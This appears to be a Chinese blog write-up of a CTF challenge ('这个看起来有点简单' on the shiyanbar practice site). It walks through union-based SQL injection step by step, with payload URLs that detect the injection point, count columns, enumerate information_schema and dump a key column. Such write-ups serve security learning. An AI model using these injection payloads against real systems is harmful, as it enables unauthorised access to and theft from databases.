美文网首页
实验吧——这个看起来有点简单

实验吧——这个看起来有点简单

作者: queena_ | 来源:发表于2018-01-21 16:44 被阅读0次

题目链接:http://ctf5.shiyanbar.com/8/index.php?id=1

1、判断是否存在注入点

 http://ctf5.shiyanbar.com/8/index.php?id=1 and1=1  http://ctf5.shiyanbar.com/8/index.php?id=1 and1=2

回显不同,说明存在注入点

2、猜字段数

 http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2  http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3

字段数为2

3、查找数据库

 http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,database()

my_db才是我们要找的数据库

4、查找表

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=%27my_db%27

找到thiskey这个表

5、查看thiskey表中的列

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27my_db%27

发现k0y列

6、查看k0y列中的数据

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey

相关文章

网友评论

      本文标题:实验吧——这个看起来有点简单

      本文链接:https://www.haomeiwen.com/subject/hyfqaxtx.html